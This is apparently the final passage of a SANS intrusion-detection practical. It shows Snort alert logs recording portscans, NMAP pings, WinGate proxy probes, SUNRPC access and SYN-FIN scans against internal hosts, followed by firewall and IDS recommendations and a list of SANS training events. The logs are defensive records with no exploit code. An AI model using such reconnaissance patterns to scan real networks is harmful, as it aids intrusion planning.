SnortA11.txt:05/28-14:46:48.110178  [**] spp_portscan: portscan status from MY.NET.253.12: 55 connections across 1 hosts: TCP(55), UDP(0) [**]
SnortA11.txt:05/28-14:46:49.136701  [**] spp_portscan: portscan status from MY.NET.253.12: 47 connections across 1 hosts: TCP(47), UDP(0) [**]
SnortA11.txt:05/28-14:46:50.107815  [**] spp_portscan: portscan status from MY.NET.253.12: 55 connections across 1 hosts: TCP(55), UDP(0) [**]
SnortA11.txt:05/28-14:46:51.195095  [**] spp_portscan: portscan status from MY.NET.253.12: 48 connections across 1 hosts: TCP(48), UDP(0) [**]
SnortA11.txt:05/28-14:32:01.099967  [**] WinGate 1080 Attempt [**] MY.NET.253.12:43749 -> MY.NET.16.0:1080
SnortA11.txt:05/28-14:32:01.463648  [**] WinGate 1080 Attempt [**] MY.NET.253.12:43750 -> MY.NET.16.0:1080
SnortA11.txt:05/28-14:46:52.581207  [**] spp_portscan: portscan status from MY.NET.253.12: 47 connections across 1 hosts: TCP(47), UDP(0) [**]
SnortA11.txt:05/28-14:46:53.711877  [**] spp_portscan: portscan status from MY.NET.253.12: 38 connections across 1 hosts: TCP(38), UDP(0) [**]
SnortA11.txt:05/28-14:46:54.876897  [**] spp_portscan: portscan status from MY.NET.253.12: 54 connections across 1 hosts: TCP(54), UDP(0) [**]
SnortA11.txt:05/28-14:46:55.954737  [**] spp_portscan: portscan status from MY.NET.253.12: 55 connections across 1 hosts: TCP(55), UDP(0) [**]
SnortA11.txt:05/28-14:46:57.168786  [**] spp_portscan: portscan status from MY.NET.253.12: 47 connections across 1 hosts: TCP(47), UDP(0) [**]
SnortA11.txt:05/28-14:46:58.315145  [**] spp_portscan: portscan status from MY.NET.253.12: 55 connections across 1 hosts: TCP(55), UDP(0) [**]
SnortA11.txt:05/28-14:46:59.633981  [**] spp_portscan: portscan status from MY.NET.253.12: 55 connections across 1 hosts: TCP(55), UDP(0) [**]
SnortA11.txt:05/28-14:47:00.591746  [**] spp_portscan: portscan status from MY.NET.253.12: 55 connections across 1 hosts: TCP(55), UDP(0) [**]
SnortA11.txt:05/28-14:47:01.629506  [**] spp_portscan: portscan status from MY.NET.253.12: 55 connections across 1 hosts: TCP(55), UDP(0) [**]
SnortA11.txt:05/28-14:47:02.462515  [**] spp_portscan: portscan status from MY.NET.253.12: 43 connections across 1 hosts: TCP(43), UDP(0) [**]
SnortA11.txt:05/28-14:32:32.913487  [**] NMAP TCP ping! [**] MY.NET.253.12:43758 -> MY.NET.16.0:42407
SnortA11.txt:05/28-14:47:03.209835  [**] spp_portscan: portscan status from MY.NET.253.12: 3 connections across 1 hosts: TCP(2), UDP(1) STEALTH [**]
SnortA11.txt:05/28-14:32:35.007766  [**] NMAP TCP ping! [**] MY.NET.253.12:43758 -> MY.NET.16.0:42407
SnortA11.txt:05/28-14:47:03.794026  [**] spp_portscan: portscan status from MY.NET.253.12: 3 connections across 1 hosts: TCP(2), UDP(1) STEALTH [**]
SnortA11.txt:05/28-14:47:04.609243  [**] spp_portscan: End of portscan from MY.NET.253.12 (TOTAL HOSTS:1 TCP:2640 UDP:2) [**]
SnortA11.txt:05/28-14:32:48.192825  [**] NMAP TCP ping! [**] MY.NET.253.12:43758 -> MY.NET.16.0:40149
SnortA11.txt:05/28-14:47:07.086884  [**] spp_portscan: PORTSCAN DETECTED from MY.NET.253.12 (STEALTH) [**]
SnortA11.txt:05/28-14:47:07.602336  [**] spp_portscan: portscan status from MY.NET.253.12: 3 connections across 1 hosts: TCP(2), UDP(1) STEALTH [**]
SnortA11.txt:05/28-14:32:52.380615  [**] WinGate 8080 Attempt [**] MY.NET.253.12:43746 -> MY.NET.16.1:8080
SnortA11.txt:05/28-14:47:08.511401  [**] spp_portscan: portscan status from MY.NET.253.12: 467 connections across 1 hosts: TCP(467), UDP(0) [**]
SnortA11.txt:05/28-14:32:56.087358  [**] Null scan! [**] MY.NET.253.12:43754 -> MY.NET.16.1:7
SnortA16.txt:06/01-23:47:58.899288  [**] WinGate 8080 Attempt [**] MY.NET.253.12:43747 -> MY.NET.102.245:8080
SnortA16.txt:06/01-23:48:29.533271  [**] SUNRPC highport access! [**] MY.NET.253.12:43747 -> MY.NET.102.245:32771
SnortA16.txt:06/01-23:48:43.291308  [**] SUNRPC highport access! [**] MY.NET.253.12:43749 -> MY.NET.102.245:32771
SnortA16.txt:06/01-23:50:13.636056  [**] NMAP TCP ping! [**] MY.NET.253.12:43758 -> MY.NET.102.245:34858
SnortA16.txt:06/02-00:04:57.963729  [**] spp_portscan: PORTSCAN DETECTED from MY.NET.253.12 (STEALTH) [**]
SnortA16.txt:06/02-00:04:59.324813  [**] spp_portscan: portscan status from MY.NET.253.12: 1 connections across 1 hosts: TCP(1), UDP(0) STEALTH [**]
SnortA16.txt:06/02-00:05:01.313522  [**] spp_portscan: End of portscan from MY.NET.253.12 (TOTAL HOSTS:1 TCP:1 UDP:0) [**]
SnortA16.txt:06/01-23:50:22.555937  [**] NMAP TCP ping! [**] MY.NET.253.12:43758 -> MY.NET.102.245:35753
SnortA16.txt:06/02-00:05:05.434826  [**] spp_portscan: PORTSCAN DETECTED from MY.NET.253.12 (STEALTH) [**]
SnortA16.txt:06/02-00:05:07.665612  [**] spp_portscan: portscan status from MY.NET.253.12: 1 connections across 1 hosts: TCP(1), UDP(0) STEALTH [**]
SnortA16.txt:06/02-00:05:10.472500  [**] spp_portscan: End of portscan from MY.NET.253.12 (TOTAL HOSTS:1 TCP:1 UDP:0) [**]
SnortA16.txt:06/01-23:50:29.018046  [**] NMAP TCP ping! [**] MY.NET.253.12:43758 -> MY.NET.102.245:33884
SnortA16.txt:06/01-23:51:05.667772  [**] WinGate 1080 Attempt [**] MY.NET.253.12:43746 -> MY.NET.102.246:1080
SnortA16.txt:06/01-23:51:05.995525  [**] WinGate 1080 Attempt [**] MY.NET.253.12:43747 -> MY.NET.102.246:1080
SnortA16.txt:06/01-23:51:59.842927  [**] SUNRPC highport access! [**] MY.NET.253.12:43746 -> MY.NET.102.246:32771
SnortA16.txt:06/01-23:52:13.844054  [**] SUNRPC highport access! [**] MY.NET.253.12:43749 -> MY.NET.102.246:32771
SnortA19.txt:06/13-01:52:08.248266  [**] SYN-FIN scan! [**] 204.60.176.2:53 -> MY.NET.253.125:53
SnortA19.txt:06/13-01:52:08.272669  [**] SYN-FIN scan! [**] 204.60.176.2:53 -> MY.NET.253.126:53
SnortA19.txt:06/13-01:52:08.282375  [**] SYN-FIN scan! [**] 204.60.176.2:53 -> MY.NET.253.127:53
SnortA19.txt:06/13-01:52:08.302891  [**] SYN-FIN scan! [**] 204.60.176.2:53 -> MY.NET.253.128:53
SnortA28.txt:05/22-09:00:25.130426  [**] SYN-FIN scan! [**] 142.150.225.137:53 -> MY.NET.253.122:53
SnortA28.txt:05/22-09:00:25.190446  [**] SYN-FIN scan! [**] 142.150.225.137:53 -> MY.NET.253.125:53
SnortS12.txt:Jun 15 18:45:40 194.179.163.253:53 -> MY.NET.253.12:53 SYNFIN **SF****
SnortS12.txt:Jun 15 18:45:42 194.179.163.253:53 -> MY.NET.253.120:53 SYNFIN **SF****
SnortS12.txt:Jun 15 18:45:42 194.179.163.253:53 -> MY.NET.253.121:53 SYNFIN **SF****
SnortS12.txt:Jun 15 18:45:42 194.179.163.253:53 -> MY.NET.253.122:53 SYNFIN **SF****
SnortS12.txt:Jun 15 18:45:42 194.179.163.253:53 -> MY.NET.253.123:53 SYNFIN **SF****
SnortS12.txt:Jun 15 18:45:42 194.179.163.253:53 -> MY.NET.253.124:53 SYNFIN **SF****
SnortS12.txt:Jun 15 18:45:42 194.179.163.253:53 -> MY.NET.253.125:53 SYNFIN **SF****
SnortS12.txt:Jun 15 18:45:42 194.179.163.253:53 -> MY.NET.253.128:53 SYNFIN **SF****
SnortS14.txt:Jun 17 22:44:26 202.235.50.12:65535 -> MY.NET.253.120:8080 SYN **S*****
SnortS14.txt:Jun 17 22:44:26 202.235.50.12:65535 -> MY.NET.253.121:8080 SYN **S*****
SnortS14.txt:Jun 17 22:44:26 202.235.50.12:65535 -> MY.NET.253.122:8080 SYN **S*****
SnortS14.txt:Jun 17 22:44:26 202.235.50.12:65535 -> MY.NET.253.123:8080 SYN **S*****
SnortS14.txt:Jun 17 22:44:26 202.235.50.12:65535 -> MY.NET.253.125:8080 SYN **S*****
SnortS14.txt:Jun 17 22:44:26 202.235.50.12:65535 -> MY.NET.253.126:8080 SYN **S*****
SnortS14.txt:Jun 17 22:44:26 202.235.50.12:65535 -> MY.NET.253.127:8080 SYN **S*****
SnortS14.txt:Jun 17 22:44:26 202.235.50.12:65535 -> MY.NET.253.128:8080 SYN **S*****
SnortS14.txt:Jun 17 22:44:26 202.235.50.12:65535 -> MY.NET.253.129:8080 SYN **S*****
```

Our recommendation at this time is to strengthen the internal borders through the use of departmental firewalling and high-fidelity intrusion detection. This would afford you with a greater degree of protection from activity inside your trusted enclave, as well as providing a robust audit trail with which to regularly monitor and assess the effectiveness of your security policy's implementation. The additional logging can also be quite valuable in that your employees, knowing that their on-line activities are subject to greater scrutiny, should exhibit greater compliance with those policies.

On the external borders, tuning the intrusion detection system to reduce the frequency of false positive reports will give your analysts greater opportunity to deal with real events, rather than the very time-consuming sifting necessary currently. We also recommend that the existing IDS be augmented with a system that would provide a complete record of all packet headers crossing your perimiter(s). This additional audit trail can be queried at any time, providing a very thourough set of historical data that should prove valuable duting an investigation. Strategically placing the IDS sensors will also enable your firewall specialists the opportunity to monitor the effectiveness of their design and implementation.

George Bakos

© SANS Institute 2000 - 2005 Author retains full rights.

Last Updated: July 23rd, 2017

Upcoming Training

SANS San Antonio 2017	San Antonio, TX	Aug 06, 2017 - Aug 11, 2017	Live Event
SANS Boston 2017	Boston, MA	Aug 07, 2017 - Aug 12, 2017	Live Event
SANS Virginia Beach 2017	Virginia Beach, VA	Aug 21, 2017 - Sep 01, 2017	Live Event
SANS Adelaide 2017	Adelaide, Australia	Aug 21, 2017 - Aug 26, 2017	Live Event
SANS Network Security 2017	Las Vegas, NV	Sep 10, 2017 - Sep 17, 2017	Live Event
SANS vLive - SEC503: Intrusion Detection In-Depth	SEC503 - 201709,	Sep 11, 2017 - Oct 18, 2017	vLive
Baltimore Fall 2017 - SEC503: Intrusion Detection In-Depth	Baltimore, MD	Sep 25, 2017 - Sep 30, 2017	vLive
SANS London September 2017	London, United Kingdom	Sep 25, 2017 - Sep 30, 2017	Live Event
SANS Baltimore Fall 2017	Baltimore, MD	Sep 25, 2017 - Sep 30, 2017	Live Event
Community SANS Scottsdale SEC503	Scottsdale, AZ	Oct 02, 2017 - Oct 07, 2017	Community SANS
SANS October Singapore 2017	Singapore, Singapore	Oct 09, 2017 - Oct 28, 2017	Live Event
Community SANS Ottawa SEC503	Ottawa, ON	Oct 16, 2017 - Oct 21, 2017	Community SANS
SANS Berlin 2017	Berlin, Germany	Oct 23, 2017 - Oct 28, 2017	Live Event
San Diego Fall 2017 - SEC503: Intrusion Detection In-Depth	San Diego, CA	Oct 30, 2017 - Nov 04, 2017	vLive
SANS San Diego 2017	San Diego, CA	Oct 30, 2017 - Nov 04, 2017	Live Event
SANS Seattle 2017	Seattle, WA	Oct 30, 2017 - Nov 04, 2017	Live Event
SANS Paris November 2017	Paris, France	Nov 13, 2017 - Nov 18, 2017	Live Event
Community SANS Pensacola SEC503	Pensacola, FL	Nov 27, 2017 - Dec 02, 2017	Community SANS
SIEM & Tactical Analytics Summit & Training	Scottsdale, AZ	Nov 28, 2017 - Dec 05, 2017	Live Event
SANS Cyber Defense Initiative 2017	Washington, DC	Dec 12, 2017 - Dec 19, 2017	Live Event
SANS Security East 2018	New Orleans, LA	Jan 08, 2018 - Jan 13, 2018	Live Event
SANS Las Vegas 2018	Las Vegas, NV	Jan 28, 2018 - Feb 02, 2018	Live Event
SANS Dallas 2018	Dallas, TX	Feb 19, 2018 - Feb 24, 2018	Live Event
SANS OnDemand	Online	Anytime	Self Paced
SANS SelfStudy	Books & MP3s Only	Anytime	Self Paced